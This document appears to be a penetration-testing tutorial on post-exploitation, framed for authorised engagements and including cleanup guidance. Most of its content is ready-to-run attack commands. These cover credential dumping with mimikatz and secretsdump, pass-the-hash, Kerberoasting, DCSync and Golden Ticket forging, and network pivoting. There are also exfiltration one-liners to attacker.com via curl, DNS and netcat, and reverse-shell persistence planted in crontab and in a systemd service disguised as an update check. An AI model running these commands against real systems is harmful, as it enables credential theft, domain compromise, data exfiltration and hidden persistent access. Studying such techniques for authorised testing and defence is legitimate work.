Post-Exploitation — Demonstrating Impact After Initial Access
Privilege escalation, credential harvesting, lateral movement, pivoting, data exfiltration proof, persistence for red team engagements, and the documentation standards that prove attacker impact.
Initial access gives you a foothold. Post-exploitation answers the question every client really wants answered: given this foothold, how far could a real attacker go?The answer shapes the entire risk conversation. "We found RCE on a dev server" is different from "We found RCE on a dev server and used it to reach your production database containing 2 million customer records."
Post-exploitation in professional engagements is constrained and documented. You demonstrate paths and capabilities — you do not destroy data, exfiltrate real PII, or leave persistent access that survives the engagement. Every action is logged with timestamps. The goal is the business impact narrative, not maximum damage.
Situational Awareness — Knowing Where You Are
The first five minutes after getting a shell determine whether the rest of the engagement succeeds. Establish what you have before doing anything else.
# ━━ LINUX SITUATIONAL AWARENESS ━━━━━━━━━━━━━━━━━━━━━━━━━━ whoami # current user id # user, groups, supplementary groups hostname # machine name uname -a # OS, kernel version, architecture cat /etc/os-release # distribution and version cat /etc/passwd # all users (look for interesting service accounts) cat /proc/version # kernel compiled details # Network ip a # interfaces and IPs ip route # routing table (what networks are reachable?) netstat -tulnp # listening services (what's running internally?) cat /etc/hosts # static DNS entries (internal hostnames) arp -a # ARP cache (what hosts has this machine recently talked to?) # Interesting files cat /etc/crontab # system cron jobs ls /home/ # other user home directories ls ~/.ssh/ # SSH keys env # environment variables (may contain credentials) cat ~/.bash_history # command history find /var/www -name "*.conf" # web configs (database passwords) find /opt /srv -name "config*" # application configs grep -r "password|secret|key|token" /etc/ --include="*.conf" -l # Processes and services ps aux # running processes (what is the app?) ss -tnlp # TCP sockets listening internally # ━━ WINDOWS SITUATIONAL AWARENESS ━━━━━━━━━━━━━━━━━━━━━━━━ whoami /all # user, groups, privileges (critical — see SeImpersonatePrivilege) systeminfo # OS version, hotfixes, domain membership ipconfig /all # network adapters and IPs netstat -ano # connections and listening ports with PIDs tasklist /v # running processes net users # local users net localgroup Administrators # who is in local Admins? net group "Domain Admins" /domain # domain admin members nltest /domain_trusts # domain trusts reg query HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun # startup items dir C:Users # other user profiles dir C:inetpubwwwroot # web root (config files) type C:WindowsSystem32driversetchosts
ip route shows 10.0.0.0/8 via a specific interface, you know there is a large internal network you can potentially reach. That is the entire pivot target universe.Credential Harvesting
Credentials found post-compromise unlock lateral movement — the same password reused across servers, domain credentials cached in memory, API keys in config files. Credential harvesting is often more productive than privilege escalation for extending access.
# ━━ LINUX CREDENTIAL HARVESTING ━━━━━━━━━━━━━━━━━━━━━━━━━━ # Config files with hardcoded database credentials (very common): find / -name "wp-config.php" 2>/dev/null # WordPress find / -name "settings.py" 2>/dev/null # Django find / -name "database.yml" 2>/dev/null # Rails find / -name ".env" 2>/dev/null # .env files grep -r "DB_PASSWORD|DB_USER|DATABASE_URL" /var/www/ 2>/dev/null # SSH private keys: find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null find / -name "*.pem" -o -name "*.key" 2>/dev/null # Browser saved passwords (if desktop/GUI environment): # Chrome/Chromium: ~/.config/google-chrome/Default/Login Data (SQLite, encrypted) # Firefox: ~/.mozilla/firefox/*/logins.json + key4.db # Git credential storage: cat ~/.gitconfig # may reference credential.helper cat ~/.git-credentials # plaintext stored credentials git config --global credential.helper # show credential helper # Docker secrets and environment: docker inspect <container_id> # environment variables in containers cat /proc/1/environ # container's PID 1 env (inside container) # ━━ WINDOWS CREDENTIAL HARVESTING ━━━━━━━━━━━━━━━━━━━━━━━━ # Mimikatz — dump LSASS memory (requires SYSTEM or admin) # In Meterpreter: load kiwi creds_all # dump all cached credentials # From shell (if AV allows): mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # Finds: cleartext passwords, NTLM hashes, Kerberos tickets # Registry — SAM database (local accounts hashes): reg save HKLMSAM C: empsam.hive reg save HKLMSYSTEM C: empsystem.hive # Exfiltrate and crack offline with secretsdump.py or mimikatz # NTDS.dit — Active Directory database (on domain controller): # Volume Shadow Copy method: vssadmin create shadow /for=C: copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDS tds.dit C: emp# Then extract with impacket secretsdump.py offline # Impacket secretsdump (from Kali, if you have DC admin): secretsdump.py corp.local/admin:Password@192.168.1.10 # Returns all domain hashes → crack or Pass-the-Hash # Windows Credential Manager: cmdkey /list # list stored credentials # Decrypt with: mimikatz vault::cred # Browser passwords: # Chrome: %APPDATA%GoogleChromeUser DataDefaultLogin Data # Firefox: %APPDATA%MozillaFirefoxProfiles*.defaultlogins.json
Lateral Movement — Moving Across the Network
Lateral movement uses compromised credentials or trust relationships to access additional systems. The goal in a pentest is to demonstrate the blast radius: if an attacker compromises this one server, what else can they reach?
# ━━ PASS-THE-HASH (Windows) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # If you have an NTLM hash, you do not need the plaintext password # Impacket tools accept hash directly: psexec.py corp.local/Administrator@192.168.1.20 -hashes aad3b:fc27 "whoami" wmiexec.py corp.local/Administrator@192.168.1.20 -hashes aad3b:fc27 smbexec.py corp.local/Administrator@192.168.1.20 -hashes aad3b:fc27 # Meterpreter pass-the-hash: # use exploit/windows/smb/psexec # set SMBUser Administrator # set SMBPass aad3b435b51404eeaad3b435b51404ee:fc271ef3ba4f650fc9e06e2f68fd9888 # ━━ PASS-THE-TICKET (Kerberos) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # Export tickets from LSASS: mimikatz.exe "sekurlsa::tickets /export" # Lists .kirbi ticket files for each logged-in user # Import a domain admin ticket: mimikatz.exe "kerberos::ptt admin_ticket.kirbi" # Now use the ticket: klist # verify ticket is loaded dir \dc01.corp.localC$ # access DC share with admin ticket # ━━ REMOTE EXECUTION WITH CREDENTIALS ━━━━━━━━━━━━━━━━━━━━━ # SMB execution (Windows admin$ share): psexec.py corp.local/user:password@192.168.1.20 # WMI execution (harder to detect than PsExec): wmiexec.py corp.local/user:password@192.168.1.20 # WinRM (PowerShell remoting, port 5985/5986): evil-winrm -i 192.168.1.20 -u Administrator -p Password123 # SSH with found private key: ssh -i found_key user@192.168.1.30 # Kerberoasting for service account hashes: # Request service tickets encrypted with target service account's hash GetUserSPNs.py corp.local/user:password -dc-ip 192.168.1.10 -request # Crack offline with hashcat -m 13100 (Kerberos 5 TGS-REP) # ━━ PIVOTING — REACHING INTERNAL NETWORKS ━━━━━━━━━━━━━━━━━ # Scenario: you are on DMZ server (192.168.1.50), need to reach internal (10.0.0.0/8) # Method 1: SSH tunneling # SOCKS proxy through the pivot host: ssh -D 9050 -N user@192.168.1.50 # SOCKS5 proxy on port 9050 # Configure proxychains: echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf proxychains nmap -sT -p 22,80,443 10.0.0.10 # SSH local port forward (specific service): ssh -L 8080:10.0.0.10:80 user@192.168.1.50 # Now: curl http://127.0.0.1:8080/ → reaches http://10.0.0.10:80/ # Method 2: Meterpreter routing # After getting Meterpreter session on pivot host: route add 10.0.0.0 255.0.0.0 <session_id> # All Metasploit traffic to 10.0.0.0/8 now routes through the session # Method 3: chisel — fast TCP tunnel # On pivot host: chisel server -p 8000 --reverse # On attacker: chisel client 192.168.1.50:8000 R:socks # SOCKS proxy active — use with proxychains
Active Directory Attack Chains
Active Directory is the authentication backbone of most enterprise networks. Compromising it means compromising every Windows system in the domain. The most common attack chains leading to Domain Admin are well-documented and found regularly in professional assessments.
# ━━ KERBEROASTING ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # Any domain user can request a Kerberos service ticket encrypted with the # service account's NT hash — take it offline and crack it GetUserSPNs.py corp.local/lowprivuser:password -dc-ip 192.168.1.10 -request # Output: $krb5tgs$23$*svc-sql$CORP.LOCAL$... (TGS hash) hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt # Once cracked → authenticate as service account # Service accounts often have elevated privileges, sometimes Domain Admin # ━━ AS-REP ROASTING ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # Targets accounts with "Do not require Kerberos preauthentication" set # No credentials needed to request the encrypted AS-REP GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat # Returns: $krb5asrep$23$user@CORP.LOCAL:... (AS-REP hash) hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt # ━━ DCSync ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # Abuses MS-DRSR (replication protocol) to pull password hashes # Requires: Domain Admin, or Replicating Directory Changes rights secretsdump.py corp.local/admin:password@192.168.1.10 # Returns all domain hashes including KRBTGT # With Mimikatz (from DA shell on any domain-joined machine): mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" # ━━ GOLDEN TICKET ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # After getting KRBTGT hash via DCSync → forge any TGT for any user # Valid for 10 years by default; persists through password resets # Get domain SID: wmic useraccount where name='Administrator' get sid # Strip last component: S-1-5-21-1234567890-1234567890-1234567890 mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:<hash> /ticket:golden.kirbi" mimikatz.exe "kerberos::ptt golden.kirbi" dir \dc01.corp.localC$ # access DC as forged Administrator # ━━ BLOODHOUND ATTACK PATH ANALYSIS ━━━━━━━━━━━━━━━━━━━━━━━ # Collect AD data (with domain credentials): bloodhound-python -u user -p pass -d corp.local -ns 192.168.1.10 -c All --zip # Import into BloodHound, run queries: # "Find Shortest Paths to Domain Admins" # "Find Principals with DCSync Rights" # "Find Computers with Unconstrained Delegation" # "List all Kerberoastable Accounts"
Data Exfiltration — Proving Impact
In a professional pentest, exfiltration proof demonstrates that sensitive data is accessible — it does not involve actually removing real data from the client's environment. The goal is a screenshot of what could be exfiltrated, not the data itself.
# Demonstrate access without removing data: # Database — show record count and schema, not real records mysql -u root -p SHOW DATABASES; USE customer_db; SELECT COUNT(*) FROM customers; # "847,293 records accessible" DESCRIBE customers; # show column names (PII structure) SELECT * FROM customers LIMIT 1; # ONE sample row — screenshot, redact PII in report # File system — show what exists ls -la /data/backups/ # list backup files (don't download) find / -name "*.pem" 2>/dev/null # private keys accessible stat /var/lib/backup/dump_2026-05-01.sql # show file exists and size # Cloud storage — show bucket contents without downloading aws s3 ls s3://company-backups/ # list contents aws s3 ls s3://company-backups/ --recursive | wc -l # count objects # Screenshot proof structure for report: # "From the compromised web server, we accessed the production MySQL database. # The 'customers' table contains 847,293 records including name, email, SSN, # and payment card data (schema shown). This data was NOT extracted." # [Screenshot: MySQL session showing SELECT COUNT(*) = 847293] # [Screenshot: table structure with column names] # Data transfer techniques (for proof-of-concept, with client approval): # Encode and send to attacker server (small proof files only): cat /etc/hostname | base64 | curl -d @- http://attacker.com/exfil # HTTP cat /etc/hostname | nslookup $(base64).attacker.com # DNS exfil cat /etc/hostname | base64 | nc attacker.com 4444 # netcat # When client wants to see actual exfiltration test: # Use a specially created test file (not real data): echo "PENTEST_TEST_FILE" > /tmp/exfil_test.txt scp /tmp/exfil_test.txt attacker@10.50.0.100:/tmp/ # Documents the complete exfiltration capability without real data risk
Persistence — Red Team Context Only
Persistence mechanisms allow an attacker to maintain access through reboots and credential changes. In professional penetration tests, persistence is rarely installed — it leaves artefacts that become real vulnerabilities if not cleaned up. In red team engagements specifically designed to test detection capability, controlled persistence may be installed with explicit client approval — and must be fully documented and removed at engagement end.
# ━━ LINUX PERSISTENCE ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # Cron job (if writable): echo "* * * * * bash -c 'bash -i >& /dev/tcp/10.50.0.100/4444 0>&1'" >> /etc/crontab # SSH authorized_keys (if you have user access): echo "ssh-ed25519 AAAAC3Nz... attacker" >> /home/user/.ssh/authorized_keys # Systemd service (if root): cat > /etc/systemd/system/update-check.service << EOF [Unit] Description=System Update Check After=network.target [Service] ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.50.0.100/4444 0>&1' Restart=always [Install] WantedBy=multi-user.target EOF systemctl enable update-check systemctl start update-check # ━━ WINDOWS PERSISTENCE ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # Registry Run key: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\Windows\Temp\update.exe" /f # Scheduled task: schtasks /create /sc onlogon /tn "SystemHealth" /tr "C:\Windows\Temp\beacon.exe" /ru SYSTEM # WMI event subscription (stealthy — no file or registry artifact): # PowerShell: $filter = New-Object -ComObject WbemScripting.SWbemLocator # (complex — usually done via PowerSploit's Add-Persistence) # Golden Ticket (covered above) — persists through password changes # ━━ CLEANUP CHECKLIST ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ # Every artifact created must be logged during the engagement and removed at end: # □ Web shells uploaded (list paths) # □ Files transferred to target (/tmp/linpeas.sh, /tmp/nc, etc.) # □ Users created (net user hacker) # □ Cron entries added # □ Registry keys added # □ Services created # □ SSH keys added to authorized_keys # □ LSASS dumps created (/tmp/lsass.dmp) # □ SAM/NTDS hive copies
Interview Questions — Post-Exploitation
Common Mistakes — Post-Exploitation
🎯 Key Takeaways
- ✓The first five minutes after gaining a shell are situational awareness: user, groups, OS version, network interfaces, routing table. The routing table reveals what other networks are reachable for pivoting.
- ✓Credential harvesting from config files, bash history, and LSASS memory is often faster than privilege escalation. Service account credentials in config files frequently grant access to multiple systems.
- ✓Pass-the-Hash works because NTLM authentication accepts the NT hash directly — the plaintext password is never transmitted or required for authentication.
- ✓Kerberoasting allows any domain user to request service tickets encrypted with a service account hash — the hash is then cracked offline. Service accounts often have elevated domain privileges.
- ✓DCSync via MS-DRSR impersonates a domain controller replication request to pull all domain password hashes, including the KRBTGT hash used to forge Golden Tickets.
- ✓Golden Tickets forge valid Kerberos TGTs signed with the KRBTGT hash — they can impersonate any domain user for up to 10 years and survive password resets of every other account.
- ✓Pivoting uses the compromised host as a relay to access internal networks — SSH SOCKS proxies, Meterpreter routing, and chisel tunnels all enable reaching otherwise inaccessible segments.
- ✓Data exfiltration proof shows capability without extracting real data: document record counts, schema structures, and file listings — never copy actual customer PII out of the client environment.
- ✓Persistence should only be installed in red team engagements with explicit scope approval. Every artifact must be logged at creation time and removed before engagement close.
- ✓The attack chain narrative is the most valuable part of the report: timestamped sequence from initial access through every lateral movement step to the highest-value asset reached.
Discussion
0Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.